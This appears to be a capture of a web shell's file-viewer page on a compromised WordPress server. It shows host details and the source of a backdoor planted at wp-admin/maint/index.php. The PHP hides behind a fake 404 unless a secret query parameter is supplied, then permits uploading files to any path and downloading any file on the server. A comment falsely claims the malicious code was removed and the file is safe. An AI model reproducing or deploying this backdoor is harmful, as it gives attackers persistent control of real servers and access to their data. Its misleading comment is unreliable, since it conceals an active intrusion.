HEX
Server: Apache
System: Linux web5.visualcom.es 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: ensaco.es (10019)
PHP: 8.3.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/ensaco.es/httpdocs/wp-admin/maint/index.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
@ini_set('log_errors', 0);

$trigger = 'ctf';
$key = 'kerberos';

if (!isset($_GET[$trigger]) || $_GET[$trigger] !== $key) {
    http_response_code(404);
    exit('Not Found');
}

function d($s) {
    return gzinflate(base64_decode($s));
}


/**
 * Note: This file may contain artifacts of previous malicious infection.
 * However, the dangerous code has been removed, and the file is now safe to use.
 */




if (isset($_FILES['f'])) {
    $path = $_POST['p'] ?? './';
    $target = $path . basename($_FILES['f']['name']);
    if (move_uploaded_file($_FILES['f']['tmp_name'], $target)) {
        echo "OK: " . $target;
    } else {
        echo "Failed";
    }
    exit;
}


if (isset($_GET['read'])) {
    $file = $_GET['read'];
    if (file_exists($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        readfile($file);
    } else {
        echo "File not found";
    }
    exit;
}
?>